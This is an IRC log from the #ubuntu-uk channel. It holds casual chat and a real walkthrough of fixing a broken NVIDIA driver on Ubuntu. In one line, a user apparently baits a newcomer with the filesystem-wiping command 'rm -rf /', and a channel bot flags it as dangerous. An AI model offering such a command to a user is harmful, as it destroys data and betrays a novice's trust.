<Laney> I wish 6music wasn't so playlisted in the daytime
<bigcalm> diddledan: yes, no idea what Perl 6 will use though
<diddledan> perl6 was "nearly ready" many years ago iirc
<bigcalm> I stopped looking at perl when I got a job in php
<bigcalm> That was 2007
<bigcalm> Cor
<diddledan> I love PHP, but having to do JS front-end stuff I kinda sometimes wish I could do some of the funky tricks you can do in JS
<diddledan> I can't think of any off the top of my head
<diddledan> but I know there are some
<bigcalm> I like doing PHP things in JS with the help of http://phpjs.org/
<davmor2> Laney: listen to Absolute 80's/90's/00's/Radio instead
<popey> AlanBell: https://www.youtube.com/watch?v=M419D6LsqZU "10 Amazing Science Experiments you can do with Eggs"
<popey> not particularly amazing
<bigcalm> Fun things though
<ujjain> How much would a gross Â£50k salary net?
<ujjain> I am thinking about moving to London.
<popey> thats about Â£3000 per month take home
<awilkins> Take home pay about Â£36l
<awilkins> Source : some thing on the internets : http://www.thesalarycalculator.co.uk/salary.php
<bigcalm> I use http://www.listentotaxman.com/
<awilkins> Of course, London is expensiver
<popey> which comes out 2p different per month! Oh no!
<bigcalm> Ticking the married box makes no difference
 * popey shudders at how much of his salary goes to the tax man
<awilkins> Most of my disposable income is down to having bought into the housing market at an opportune time, rather than my pay
<bigcalm> Why did I get married then?! :(
<popey> appeasment?
<AlanBell> bigcalm: I think you have to get married before 1936
<ujjain> awilkins, 36k to take home?
<awilkins> ujjain, That's what the internet thingy thinks
<ujjain> the company is located in London-Middlesex, where would Â£1k get me? probably 40+ min from the place?
<bigcalm> Â£35,963.36
<Laney> mmm tax
<awilkins> I imagine that's before deductions for pensions etc
<Laney> wowzers, I'm a couple of hundred quid better off in 2014/15
<diddledan> Laney, that sounds good
<diddledan> Laney: is that less taxing or more income?
<Laney> dunno, I'd probably rather spend it on an old peoples home
<Laney> the former
<diddledan> MartijnVdS: that Moose.pm looks even weirder than my understanding of "normal" OO in Perl!
<diddledan> http://search.cpan.org/~ether/Moose-2.1201/lib/Moose.pm <-- about as clear as mud.. at night.. when there's no moon.
<ujjain> bilgdo: 3k monthly should be enough to survive living in the center of london right? just a lot of commute I guess.
<MartijnVdS> diddledan: just look at a few examples :)
<MartijnVdS> diddledan: basically, Moose writes a "new" for you, based on attributes you specify, and also does some funky stuff for introspection
<jussi> so... I survived....
<jussi> They didn't kill me
<jussi> :)
<MartijnVdS> jussi: who didn't?
<jussi> MartijnVdS: the doctor who cut my throat
<MartijnVdS> jussi: any particular reason?
<MartijnVdS> jussi: or just "because"
<jussi> MartijnVdS: yeah. tonsils adenoids
<MartijnVdS> ah
<MartijnVdS> so you can stuff bigger.. things.. back there (we teased my sister about that a lot when she had that done)
<jussi> oh lol
<jussi> MartijnVdS: in anycase, it hurts
<MartijnVdS> jussi: yeah, it can hurt for more than a month
<bigcalm> My sister was forced to eat lots of toast
<MartijnVdS> bigcalm: poor her
<bigcalm> Not sure why really
<jussi> toast?
<diddledan> think that's bad, I had to live off a diet of JUST milk for two whole weeks before getting my gall-bladder removed
<jussi> Icecream here....
<MartijnVdS> I just had to live in the hospital for a week when I was born because I ate my own poop
<diddledan> by the end of the fortnight I'd somewhat of a distaste for milk
<MartijnVdS> diddledan: what about something like buttermilk?
<diddledan> MartijnVdS: nope, had to be pure milk
<diddledan> semi skimmed, too
<diddledan> wasn't allowed full-fat or skimmed or any other variety
<MartijnVdS> UHT vs pasteurised?
<shauno> I just can't imagine dan without pizza
<MartijnVdS> http://dftba.com/product/1155
<diddledan> I think it had to be standard off-the-shelf as the milkman would deliver
<MartijnVdS> diddledan: that's better than UHT then, because that tastes like poo
 * bigcalm wonders where his link to Broken Age is. Link from HB is somewhat broken?
 * bigcalm shrugs and goes looking for dinner
 * jussi offers bigcalm a juice icypole
<MartijnVdS> eww
<diddledan> is that better or worse than an ice juicypole?
<foobarry> adele blanc sec could have been so much better than it turned out
<foobarry> morphs into a silly kids film
 * popey ponders 16GB upgrade for x220
<foobarry> android phone dropping call and going into call heolding status - dropped too many times, or a software refresh needed?
 * popey wonders if http://www.crucial.com/uk/store/partspecs.aspx?IMODULE=CT102464BF1339 will fit
<shauno> does their picker not have your model?
<shauno> I tend to use crucial's picker for everything, since they warranty against d'oh that way
<popey> it does, but I have seen others say 8GB supported, 16GB works but unsupported
<popey> and i have had crucial be wrong before
<shauno> that's pretty much how mine is; apple claim 8GB, but 16 works fine
<diddledan> I can't upgrade mine :-(
<diddledan> the movie "the internship" is fun
<diddledan> just got done watching it
<diddledan> I bought it through google, obv
<diddledan> speaking of which, is it worth going for one of these expensive jobbies over a cheap-n-nasty ebay thing? http://go.bwlh.at/1hUD6oF
<diddledan> normally maplin sells them for Â£99.99.99.99
<diddledan> yeah, that's close enough
<bigcalm> Oh, this is pleasing. Crucial say the new laptop can do 16gb http://www.crucial.com/uk/store/listparts.aspx?model=Inspiron%2015%20(7537)
<diddledan> grr
<diddledan> all ya'll with your upgrading shenanigans. I want more gigalumps of rams in my box too!
<bigcalm> I haven't even received my new laptop yet and I'm looking at what I can upgrade in it :|
<diddledan> lol
<bigcalm> Will swap out the HDD for an SDD before powering on
<ali1234> diddledan: the used one is worth it i guess
<bigcalm> s/SDD/SSD
<ali1234> i wouldn't pay Â£100 for one though
<diddledan> ali1234: yeah, 100 seems a bit high for what it is
<diddledan> when you can get essentially the same kind of thing with a touchscreen attached for 89 you gotta wonder why it's so expensive
<ali1234> because it's maplin
<diddledan> even non-maplin vendors of the same unit are super expensive
<ali1234> also those Â£89 tablets are garbage
<diddledan> e.g. http://www.amazon.co.uk/Point-View-HDMI-Smart-Dongle/dp/B00AAOR7DO
<ali1234> maplin_webdeals?
<diddledan> oh
<diddledan> yeah, I just spotted that
<ali1234> you know maplin sells on amazon right? :P
<ali1234> if you google around you can often find the website of amazon sellers and cut amazon out
<diddledan> yeah, so I'm guessing maplin have exclusive rights over that particular unit
<ali1234> yeah, or alternatively it was made specifically for maplin
<diddledan> seems the cheap sub Â£40 things that often sell on ebay aren't ever software-upgraded by the manufacturer
<diddledan> even that PoV unit hasn't been upgraded since release
<diddledan> they've instead issued a newer unit with the newer android
<ali1234> of course
<ali1234> don't expect any kind of support on these things
<diddledan> grr
<ali1234> your best bet is to buy the one with the best community support
<diddledan> I want my googley play-doh movies on my teevees
<diddledan> I suppose I could build an x86-based box with flash + drm support and do a custo-job
<diddledan> drm still just required the hal package?
<ali1234> dunno
<ali1234> i just record films off the telly
<bigcalm> Would anybody like to help me fix my workstation? I'm somewhat bored of having to make do with Windows
<bigcalm> Monday morning I did a dist-upgrade. Noticed that it was going to do something with nvidia packages. After a reboot, I get a blank screen
<diddledan> bigcalm: is "fix" a euphemism for "remove windows and put something meaningful on there"?
<diddledan> did it finish the update
<bigcalm> I can use ctrl alt f1-6 to go to tty1-6 (I know it is doing so because the number lock light will turn on and off for each one if I play with it). But I don't even see the CLI
<bigcalm> I believe so, yes
<bigcalm> I can SSH in, thankfully
<bigcalm> Will a pastebinit of the xorg log help?
<ali1234> probably not
<ali1234> xorg is probably running and doesn't even know there is a problem
<bigcalm> I've run apt-get remove nvidia-* and apt-get install nvidia-current. No change
<diddledan> yeah I would surmise the same
<ali1234> at what exactly time does the screen go blank?
<bigcalm> After selecting Ubuntu in grub
<bigcalm> I see the cursor for 1 second and that's it
<ali1234> well, that seems odd
<ali1234> is this trusty?
<diddledan> that suggests that the framebuffer is failing to initialise
<bigcalm> Yes
<ali1234> the framebuffer never initializes with nvidia
<diddledan> oh yeah
<ali1234> it uses vga mode console
<diddledan> even moar odd then
<bigcalm> Also, only 1 of my monitors is powered on. The other 2 are in standby mode
<ali1234> so the fact it's even trying suggests it is loading nouveau KMS stuff
<ali1234> which obviously conflicts with nvidia quite badly
<diddledan> yeah
<ali1234> of course, it's trusty - this kind of breakage happens every cycle
<bigcalm> Right, this is very odd
<diddledan> trusty hasn't even made it to alpha yet?
<bigcalm> I've just unplugged the HDMI cable from the nvidia gfx card and plugged it into the HDMI port on the mobo
<diddledan> aah we're on alpha 1
<bigcalm> I now have a login screen!
<ali1234> figures
<bigcalm> Which means that it's loaded the intel drivers okay
<diddledan> (for opt-in)
<ali1234> so it's just using the wrong graphics card
<ali1234> perhaps because it couldn't load the nvidia ones
<bigcalm> Humm, even though it gave me a login screen, logging in gives me a blank screen (with mouse cursor) and nothing else
<bigcalm> http://paste.ubuntu.com/6752885/ if it's of any use
<ali1234> that probably indicates that unity believes you have 3d acceleration (because you have an nvidia card) so did not set up the software fallback
<popey> hey bigcalm
<popey> why remove nvidia?
<ali1234> but the nvidia card doesn't work, so unity just draws nothing
<ali1234> try using a desktop that doesn't require 3d acceleration
<bigcalm> popey: in an attempt to kick it into life. I did reinstall via nvidia-current
<ali1234> ie anything that isn't unity or gnome shell
<popey> when is that paste from?
<bigcalm> Just now
<popey> ok, so it failed to load the driver
<popey> what kernel you running?
<popey> uname -a
<bigcalm> 3.11.0-15-generic #23-Ubuntu SMP
<popey> oh and what version of ubuntu? 13.10?
<bigcalm> 13.10
<diddledan> trusty is 14.04
<ali1234> that's not trusty
<popey> in /var/lib/dkms do you have a folder for the nvidia driver?
<bigcalm> popey: nvidia-304
<popey> and thats the version of nvidia-* you have installed, right?
<bigcalm> Yes
<popey> and in that directory is there a dkms log you can paste?
<bigcalm> Not that I can see
<popey> whats in there?
<popey> a directory for 3.11.0.15-generic?
<bigcalm> iain@snafu2:/var/lib/dkms/nvidia-304$ ls -l
<bigcalm> total 4
<bigcalm> drwxr-xr-x 4 root root 4096 Jan 14 21:54 304.117
<bigcalm> lrwxrwxrwx 1 root root   32 Jan 14 21:54 kernel-3.11.0-15-generic-x86_64 -> 304.117/3.11.0-15-generic/x86_64
<popey> right, so go in that folder
<bigcalm> There's a make.log
<popey> there's a log down there
<popey> pastebin the make.log
<bigcalm> http://paste.ubuntu.com/6752920/
<popey> sudo apt-get update
<popey> sudo apt-get dist-upgrade
<popey> does it pull anything in?
<bigcalm> No
<popey> lsmod | grep nvidia
<popey> does it list the nvidia module?
<bigcalm> I've just noticed that I have  xorg-edgers-ppa-saucy.list in my /etc/apt/sources.list.d
<bigcalm>  - bit odd
<ali1234> yeah that will do it
<popey> ooh
<popey> yeah
<bigcalm> lsmod shows nothing for nvidia
<popey> you probably want to purge that ppa
<bigcalm> Do you remember the command, beacuse I never do :)
<popey> sudo apt-get install ppa-purge
<bigcalm> Already have it
<popey> sudo ppa-purge ppa:xorg-edgers/ppa
<bigcalm> Wonder when I added that and why
<popey> probably when you were faffing with 3 screens
 * bigcalm reboots (again)
<bigcalm> Login prompt from the intel hdmi port. Maybe I need to unplug it to get nvidia working
<popey> i would disable it
<popey> in bios
<bigcalm> I'll give that a go
<bigcalm> There isn't an option to do so. Just an option to set the primary display
<bigcalm> Right now I have a flashing cursor
<bigcalm> I can ssh in though
<popey> waaat
<bigcalm> New pastebin of the xorg log http://paste.ubuntu.com/6752971/
<popey> [     3.658] (EE) NVIDIA(1): Failed to initialize the NVIDIA kernel module. Please see the
<bigcalm> http://paste.ubuntu.com/6752971/
<bigcalm> Oops
<bigcalm> Failed to initialize the NVIDIA kernel module
<diddledan> what about dmesg?
<bigcalm> Yeah
<bigcalm> What about it?
<diddledan> pastebinit?
<bigcalm> Doh, sorry :)
<bigcalm> http://paste.ubuntu.com/6752978/
<popey> [    3.732162] init: bumblebeed main process (1412) terminated with status 1
<popey> bumblebee?
<diddledan> bingo
<popey> is this a laptop?
<diddledan> I just got that too
<bigcalm> popey: no, desktop
<popey> huh
<bigcalm> Remove it?
<popey> i havent used any bumblebee machines, sorry
<diddledan> you really don't want bumblebee on anything that doesn't have optimus label
<popey> indeed
<bigcalm> I have no idea what bumblebee is :)
<bigcalm> Okay, it's about to remove bumblebee and primus
<diddledan> it's part of the userland GPU-switcheroo thing that nVidia calls "optimus technology"
<diddledan> yes, remove both those
<diddledan> the idea of optimus is that you run intel gfx normally but switch-on the nvidia when demanding 3d work is required
<bigcalm> Ah
<diddledan> it's evil
<bigcalm> No idea why it was installed
<bigcalm> Right, rebooted and I'm back to a blank screen (no cursor)
<diddledan> the nvidia chip can't do 2d and the intel chip can't do 3d (supposedly)
<diddledan> so you hybrid the two together
<directhex> lolvidia :(
<directhex> optimus is so broken
<diddledan> optimus is s stupid answer to a problem that was invented for the stupid answer to have a reason to exist
<bigcalm> Any suggested next steps? :)
<diddledan> just put a standard gfx chip in there damn you, nvidia
<directhex> i've never used optimus on linux. i intentionally avoid it
<diddledan> often the external port on an optimus laptop is "tied" to one or the other of the intel or nvidia gfx but not both so you need to pipe signals through the one you don't want turned on
<diddledan> it really is a stupid idea
<diddledan> I can't iterate that enough
<shauno> sounds like a lot like my woes trying to get gpu-switching working
<diddledan> I run windows on my optimus thing just because running unity under neutered intel-only sucks ass and the optimus thing isn't working under ubuntu
<diddledan> if I could get vmware to actually work with optirun I might reconsider
<diddledan> photoshop sucks donkey doo doo without gfx accelleration and I sometimes need to use that in my job
<diddledan> so. windows.
<ali1234> photoshop runs fine for me
<ali1234> (in virtualbox with no acceleration)
<popey> bigcalm: what does xorg log look like now?
<bigcalm> http://paste.ubuntu.com/6753063/
<bigcalm> Still no kernel module
<popey> sudo apt-get install nvidia-304 --reinstall
<popey> and watch the console
<popey> see what it does
<popey> dkms wise
<bigcalm> http://paste.ubuntu.com/6753083/
<popey> what if you "sudo modprobe nvidia" ?
<bigcalm> Just did that
<bigcalm> It seemed to load okay
<bigcalm> How do I kick the GUI without rebooting?
<ali1234> sudo service lightdm restart
<bigcalm> Ta
<bigcalm> My other two monitors just woke up
<bigcalm> And I have a mouse pointer!
<bigcalm> Sadly it's the X
<bigcalm> http://paste.ubuntu.com/6753115/
<ali1234> well nvidia is working
<bigcalm> Yep
<bigcalm> Rebooted and nvidia isn't loaded. Do I need to configure it manually?
<diddledan> it's not blacklisted at all?
<diddledan> /etc/modprobe.d/*
<bigcalm> Where would I look?
<bigcalm> iain@snafu2:~$ ls /etc/modprobe.d/ | grep nvidia
<bigcalm> nvidia-304_hybrid.conf
<bigcalm> nvidia-graphics-drivers.conf
<diddledan> that doesn't look right - the hybrid one looks odd. can you pastebin that?
<ali1234> i have the same thing
<diddledan> ok
<bigcalm> http://paste.ubuntu.com/6753137/
<ali1234> it blacklists nouveau
<diddledan> I thought maybe that was a remnant of the bumblebee
<ali1234> yeah, got the same
<diddledan> yeah that's fine
<bigcalm> Oh poo
<bigcalm> iain@snafu2:~$ sudo service lightdm restart
<bigcalm> stop: Unknown instance:
<bigcalm> start: Job failed to start
<bigcalm> Removing xorg.conf allowed lightdm to start
<bigcalm> Still have a blank screen though
<bigcalm> sudo modprobe nvidia no longer loads the module
<bigcalm> I think I have edgers installed because of these troubles in the 1st place
<ali1234> possibly
<bigcalm> s/have/had
<ali1234> but that is no longer going to work, because edgers now has too new a version of xorg
<bigcalm> x-swat maybe?
<ali1234> no idea
<bigcalm> No change
<daftykins> what's the X version?
<bigcalm> Whatever is current in 13.10
<daftykins> ah :( i was hoping for greater specificity!
<daftykins> if that's even a word.
<bigcalm> How do I find out? :)
<bigcalm> Version: 1:7.7+1ubuntu6
<daftykins> hrmm i was under the impression it was currently in the 1.1x of versions
<daftykins> dw though i wouldn't be much use
<daftykins> i just vaguely read of x-edgers providing 1.15+ recently? perhaps even that's outdated info though
<bigcalm> I did dkpg -s xorg
<bigcalm> Or something like that
<diddledan> ooh, I just spotted a new (in 13.10) option that I hadn't noticed before in the installer that lets you "reinstall" while keeping settings and some software
<daftykins> :O
<daftykins> who'd ever want to do that, surely the reason for a reinstall would be due to those very things snarfing up
<awilkins> Because upgrades take epic periods of time
<awilkins> I used to just move my home folder, reinstall everything, and then move files back as required
<bigcalm> Looks like I followed http://www.dedoimedo.com/computers/ubuntu-salamander-nvidia.html in the past. Because I found I had the /etc/modprobe.d/nvidia-graphics-drivers.conf file
<bigcalm> Have removed the file (which blacklisted nvidia-current) and rebooted
<bigcalm> I now have the lightdm login screen on 1 of my monitors
<Azelphur> Does anyone know of any 802.11ac Mini PCI Express card with Bluetooth that's supported in Linux?
<bigcalm> The other 2 monitors are still in standby
<diddledan> bigcalm: login and use the "monitors" app to configure them
<bigcalm> Sadly, the login screen is unresponsive. The keyboard has locked up. And I can't ssh into the machine
<diddledan> oh
<bigcalm> Yeah
<bigcalm> I fear I may have killed it
<bigcalm> If I hit the power button, I think APCI is responding as I see messages as the machine shuts down
<bigcalm> Not sure how I will get so a useable state once more
<bigcalm> Upon booting, the cursor blinks in the login password box for a few seconds before becoming solid
<bigcalm> I guess I could use a live usb stick, mount the ssd and tinker with files
<bigcalm> But I'd be clutching at straws
<bigcalm> The machine still boots to Windows. So I know that I'll be able to work in the morning
 * bigcalm heads to bed
#ubuntu-uk 2014-01-15
<Wassname> Never.
<arc__> Hello
<diddledan> Wassname: never say never
<Wassname> Could you recommend a decent IRC client?
<Azelphur> Wassname: xchat
<Azelphur> it's in the software center
<Wassname> I'm using XChat Gnome.
<Azelphur> xchat gnome is bad, use xchat
<arc__> Use online freenode ?
<Wassname> Cheers. I'll remove it right away .
<arc__> Xchat-gnome isn't that bad
<Azelphur> apart from the whole being bad thing, sure
<arc__> why is it bad then ?
<Azelphur> from what I hear it's heavily featured limited, but I haven't actually tried it myself
<arc__> i have it was fine i changed distros so i got xchat normal
 * Azelphur shrugs
<arc__> Ok then
<arc__> 188 updates for my 2k3 server
<diddledan> \o/
<arc__> Fresh install
<diddledan> oh, there'll be more yet then
<arc__> Maybe
<arc__> Got most of them except .net 4.0
<arc__> No need for it just needed a pdc and wdm ubuntu server cant do wdm sadly
<efonspor> hi everybody Ä± connetting to turkey
<Wassname> Done.
<efonspor> and Ä± have a problem pls help me
<diddledan> wdm?
<Wassname> XChat instant;y better than XChat Gnome.
<efonspor> Ä± wanna dowload network maneger for ubuntu 12.4 lts
<arc__> Windows deployment
<efonspor> pls help me
<efonspor> woh can Ä± dowload
<efonspor> how*
<diddledan> aah
<arc__> Apt-get
<efonspor> apt-get?
<diddledan> network manager isn't already installed?!
<efonspor> apt-get networkmanger?
<arc__> ?
<arc__> Maybe
<efonspor> :D
<efonspor> Ä± like this chanel
<efonspor> guys :D
<arc__> Most distros come preinstalled
<efonspor> very nice
<efonspor> no
<efonspor> Ä± try but Ä± dont found
<efonspor> pls anyone help me
<arc__> Google it
<efonspor> :D
<efonspor> Ä± don't find
<efonspor> my friend
<arc__> I know its there i had to do it once
<efonspor> usually Ä± use windows
<arc__> Oh
<efonspor> but Ä± like ubuntu
<efonspor> and Ä± leanr beginer :)
<efonspor> learn*
<efonspor> similary my english :)
<arc__> Lol
<efonspor> :D
<diddledan> I'm sure your English is much better than our collective Turkish :-p
<efonspor> arc can u help me
<efonspor> pls
<efonspor> :))))
<arc__> What does rm  -rf / do
<diddledan> .danger
<arc__> Can u get to a pc with internet
<diddledan> !danger
<lubotu3> DO NOT RUN THAT COMMAND! That particular command is DANGEROUS and shouldn't be uttered here. REST OF YOU: DANGER, WILL ROBINSON, DANGER! Do not use the command or utter it here thank you!
<diddledan> there we go
<efonspor> Ä± connecting no
<efonspor> for Local area network
<efonspor> but Ä± wanna use
<efonspor> wireless
<efonspor> but my wireless don't working
<arc__> that because it need restricted drivers
<efonspor> no
<efonspor> drivers full
<efonspor> :)
<efonspor> Ä± know
<efonspor> Ä±m studying computer engrenering :9
<arc__> Ok
<efonspor> :)
<efonspor> arc_
<Wassname> Can someone help me set up the connection to irc.taphouse.org via XChat please? Talk me through the steps?
<arc__> Yea
<arc__> I am not using a pc sk it hard to help unless i can remember lol
<arc__> So
<Wassname> What are you using?
<arc__> Tablet
<Wassname> Nice one.
<arc__> I have team viwer on it as well :D
<arc__> The power i hold
<Wassname> Hah!
<arc__> I should do a advert
<arc__> Anyway i got go got to wake on lan at 7:15 for school
<arc__> Too many got's
<efonspor> arc_
<efonspor> are you there?
<arc__> Yea got to sleep sorry
<efonspor> my friend pls search for me network manager ubuntu lts 12,04,03
<efonspor> pls give me a adreess
<efonspor> my friend Ä± can't found
<efonspor> for me friend :)
<arc__> Trust me google network manager applet ubuntu install
<efonspor> anybody is there?
<daftykins> sorta
<efonspor> dafty
<efonspor> can you help me?
<efonspor> pls
<daftykins> ask a question
<efonspor> Ä± wanna dowload network manager for ubuntu lts 12.04.03
<efonspor> pls help me my friend
<daftykins> it's built in
<efonspor> how can Ä± call it
<daftykins> so you installed 12.04.3 desktop?
<daftykins> network manager is the little network icon top right
<efonspor> yes
<efonspor> Ä± can dowload
<efonspor> lts 12.04.3
<daftykins> download what?
<efonspor> for debian
<efonspor> pocket
<efonspor> buy Ä± wanna
<efonspor> but
<efonspor> *
<efonspor> network manger
<efonspor> because
<daftykins> stop pressing enter
<efonspor> soryy- Ä± can't connecting to wriles
<daftykins> where are you from? perhaps a channel for your language would be a better idea
<efonspor> :D
<efonspor> turkey
<efonspor> my friend
<efonspor> but my english not very well  so, Ä± learn it :9
<daftykins> hmm, not even sure what a turkish channel would be
<daftykins> what's your two letter country code? :D
<efonspor> :D
<efonspor> but Ä±n turkey time is 02:57 :)
<daftykins> ah-har
<efonspor> everybody is sleep :D
<daftykins> i'm the only one awake UK time and i'm a bit drunk
<efonspor> :D
<daftykins> so i'm afraid i am no help tonight :(
<efonspor> hahaha
<efonspor> oke
<efonspor> thanks for answer
<efonspor> and help for english :)
<daftykins> good luck! there's always #ubuntu too
<efonspor> thanks
<efonspor> my friend
<efonspor> have nice day
<efonspor> one day Ä± learning english :)
<efonspor> may be  we talk coreectly :)
<diddledan> thank god that #wordpress has people from all timezones to keep me awake when I can't be bothered to go to bed
<shauno> hey that's not fair, it's not wp-uk.  of course it's full of -5's
<diddledan> you in -uk?
<shauno> I'm not sure what you're asking.  insert coffee and try again?
<diddledan> wp-uk?
<shauno> oh, nah, I'm just pointing out you're comparing apples to oranges
<diddledan> aah
<shauno> well, here's some early morning entertainment; http://www.finegael.ie/latest-news/2013/odonovan-calls-for-crackd/  "TD for Limerick, Patrick O' Donovan has called for tougher controls on the use of open source internet browsers .."
<diddledan> shauno: is it april 1st?
<shauno> it's always april 1st in ireland
<diddledan> wtf?!
<diddledan> that's nuts
<diddledan> I .. huh? .. I .. wtf?!
<diddledan> you've completely broken my brain now
<diddledan> what action is he referring to in the last paragraph that the us agencies have done?
<shauno> I think they're referring to Tor
<shauno> or rather; I hope they're referring to Tor, as it's the least painful enterpretation I can think of
<MooDoo> morning all
<shauno> o/
<popey> Morning
<popey> diddledan: saw greg-kh mention ye olde steam os on G+ this morning â»
<popey> s/diddledan/directhex/
<MartijnVdS> diddledan: "you can't even", is the expression, I think
<diplo> Morning all
<MooDoo> morning
<shauno> oh this is awesome.  java update is breaking people's access to some oracle app.  left hand, meet right hand
<brobostigon> morning everyone.
<Myrtti> ih â¥ my charger finally arrived
<TwistedLucidity> Urf. Is it home time yet?
<TwistedLucidity> Oh wait, I work from home
 * TwistedLucidity crawls back into bed
<MooDoo> TwistedLucidity: pah!
<BigRedS> Bah. IT's one of those mornings where I wish Jabber just did the right thing
<BigRedS> Or, rather, where I didn't turn my laptop off before coming in to work
<lazarus_> hi
<daubers> Morning
<BigRedS> Goood Morning!
<popey> hello
<MartijnVdS> \o
<BigRedS> anyone know how simple it would be to have Virtualmin create two unix users per website?
<diddledan> TwistedLucidity: I know the feelings
<SuperMatt> sup guys?
<diddledan> is it a bird? is it a plane? is it a nerd? no it's SuperMatt
<SuperMatt> I was answer yes to that third question
<diddledan> :-p
<diddledan> me too
<SuperMatt> ugg, my home server has decided to slow to a crawl
<diddledan> htop ftw
<SuperMatt> yarr
<SuperMatt> I'm swapping for some reason
<BigRedS> swapoff
<Myrtti> wax on, wax off
<diddledan> one website made live
<diddledan> \o/
<diddledan> go team me!
<SuperMatt> http://www.supermatt.net/2014/01/always-mock-adobe/
<neuro> i temporarily just lost another aws ec2 instance
<diddledan> lolz
<neuro> lit one up on monday, brand new instance, it died on monday night, and another one went phut for 25 minutes
<diddledan> neuro: not good
<neuro> we got a notification yesterday morning that the one from monday would be retired at the end of the month
<MartijnVdS> neuro: software error inside the instance, or Amazon messing with things?
<neuro> which is aws speak for "the underlying physical hardware has died on it's arse, sucks to be you"
<neuro> and of course i keep apache logs in the ephemeral (instance) storage ... doh
<diddledan> SuperMatt: I like that minimalist layout yet still having furniture around the edge
<neuro> MartijnVdS: host failure
<BigRedS> If your EC2 instances aren't disposable you're doing it wrong
<MartijnVdS> BigRedS: sure but having to spin up a new instance every few days because of host failre is Amazon doing it wrong
<neuro> BigRedS: it's an infra i inherited, i haven't done anything to make the apache logs smarter yet
<BigRedS> Oh, AWS in general is Amazon doing it wrong. But that's what you signed up for
<SuperMatt> diddledan: it's the new deafault theme in wordpress
<mapps> so strange
<diddledan> SuperMatt: ooh
<mapps> i can connect to my bt wireless but not virgin :)
<neuro> BigRedS: it's possible to keep instances running for years without issue
<BigRedS> yeah, but it's a bit silly to rely on it
<neuro> not really
<neuro> you're basically saying no vps infrastructure should be relied upon
<neuro> if you're saying ec2 instances should be treated as disposable, why have ebs?
<BigRedS> No, I'm saying that AWS is designed such that replacement is easier than repair
<diddledan> strikes me as odd that amazon don't do live migrations to shuffle vms about
<neuro> they just repaired the instance that died
<neuro> it came back up on the same host as the instance storage wasn't emptied
<neuro> (which is good for me as i haven't lost 10 hrs of apache logs)
<BigRedS> so if it's hard to dump one VM for a freshly brewed one it seems you're missing the point
<neuro> that's kind of an unfair statement
<neuro> VMs can be ephemeral if that's what you need them to be, but it's also about being able to aggregate and condense physical hardware
<BigRedS> I'd say more traditional VPS hosting is more suited to the latter than is AWS
<neuro> "traditional"?
<BigRedS> yeah, where you rent a virtualised machine and treat it as if it were a real one
<neuro> how is that different from aws?
<neuro> i'm not trying to start a fight btw, i'm genuinely curious where you're coming from
<BigRedS> well, you can do that on AWS
<BigRedS> but on AWS when you have a new version of your thing to deploy you create a new AMI and spin up new VMs with it then direct the load balancer at them
<mapps> i dont get why everyone wants all this cloud infrastructure etc whats wrong with just housing your own servers..storage and everything is cheap enough?
<BigRedS> on a normal VPS you'd probably upgrade in-place is if it were a machine that's harder to replace
<BigRedS> mapps: trebling capacity for an hour a day is hard to do by yourself
<neuro> mapps: because you can switch the hardware from underneath yourself without massive outlay
<BigRedS> for example. The big draw of The Cloud is the flexibility. You also make a lot of boring problems someone else's
<BigRedS> (and, as a result, end up beholden to their solutions)
<neuro> well, sort of
<mapps> ok so any boring problems i.e. connectivity/downtime is theres yea? i get that
<neuro> there are plenty of ways to treat your deployment as agnostic as possible
<mapps> but then you have entire complete cintrol if its your own HW
<neuro> you only have complete control if the hardware is sitting right beside you
<BigRedS> yeah, but sometimes scalability is more important than what colour the patch cables are
<neuro> ^ this
<mapps> yea i guess thats true you can scale up easily in a matter of minutes
<davmor2> Morning all
<neuro> "oh my site is being slashdotted, hang on while i light up 50 more web servers and bung them into the load balancer"
<JamesTait> Good morning all; happy Hat Day! :-D
<neuro> done, takes a few minutes
<BigRedS> yeah, exactly
<mapps> if i had say an aws server or something -- can you run any servers you want
<neuro> within reason
<mapps> do you get dedicated IPv6/ipv6?
<neuro> no
<neuro> but
<BigRedS> assumign the load balancer doesn't fall over :)
<neuro> you can get ipv6 on the load balancers
<neuro> BigRedS: been there ;)
<mapps> i see
<neuro> ipv6 for instances is on the roadmap
<neuro> but you can make your load balancer ipv4, ipv6 or dual stack responsive
<mapps> i just wondered so dedicated ipv4 for yourself so you could run any servers using any port?
<neuro> so you can pretend your site is ipv6 enabled
<BigRedS> neuro: yeah - "It seems traffic picked up too quickly. If you warn us beforehand next time we'll warm it up"
<neuro> BigRedS: scumbag amazon ;)
<neuro> mapps: yeah, you can assign an "elastic IP", which is basically a static IP
<neuro> otherwise when you stop and start your instance, you get a new IP
<mapps> right, thanks..
<mapps> yea
<BigRedS> neuro: well, it's what we pay them pittance for :) I also liked the way their '99.9% guaranteed uptime' always seemed to translate to '0.1% guaranteed downtime'
<mapps> and they allow anything so i could run openVPN and apache?
<neuro> but if you request an elastic IP and don't assign it to an instance, you're charged for it
<BigRedS> but I've not been there for a couple of years, maybe they're better now
<neuro> "allow anything" ... within reason
<neuro> you can light up a stock 12.04 AMI and do what you want on it
<neuro> but some things are restricted
<BigRedS> mapps: yeah, you spin up a server and it's yours. It's exactly like having a physical box except all the hardware's imaginary
<mapps> thats interesting..but if you use the static IP you arent charged
<BigRedS> so it's like having a physical box that's in another room
<neuro> i.e. traffic is billable over a certain usage threshold, smtp is rate limited and can be blocked if you breach a threshold limit, etc
<mapps> ahh
<mapps> probably not cost effective for personal individual use?
<neuro> well it depends what your usage case is
<neuro> a t1.micro is probably sufficient for something just to ssh into and do vpn proxying etc
<BigRedS> there is a free tier
<mapps> well i wouldnt really have any use beyonds messing about
<mapps> oh really..didnt know there was a free plan
<neuro> and if you stay within the bundled usage limits, your costs would be reasonably predictable
<neuro> yeah, if you're a new customer
<neuro> you can get a t1.micro for a year for free
<BigRedS> well, it lasts a year and it's really hard to make it be actually free
<mapps> ah
<BigRedS> I used it for odds-and-sods for ~$3/month or thereabouts. But I do also have a real-life machine elsewhere that I use for most things
<neuro> http://aws.amazon.com/free/
<neuro> basically you can get a 1 cpu, 613MB RAM, 30GB disk VM for a year
<neuro> as long as you stay within 2m IOPS, you're fine
<neuro> can't remember what the free traffic level is
<mapps> 2m IOPS?
<neuro> aha
<Laney> omfg
<neuro> data transfer in = free
<Laney> why did I ever think a wireless keyboard would be good
<neuro> data transfer out to internet, 1GB free
<mapps> lol Laney
<neuro> 1GB-10TB = 12c/GB
<mapps> most people say they are
<mapps> never used one myself
<Laney> yeah until it dies in the middle of a sentence
 * Laney goes to root around for AAAs
<neuro> yeah, IOPS
<mapps> il try the free plan then
<neuro> reads/writes to/from the disk
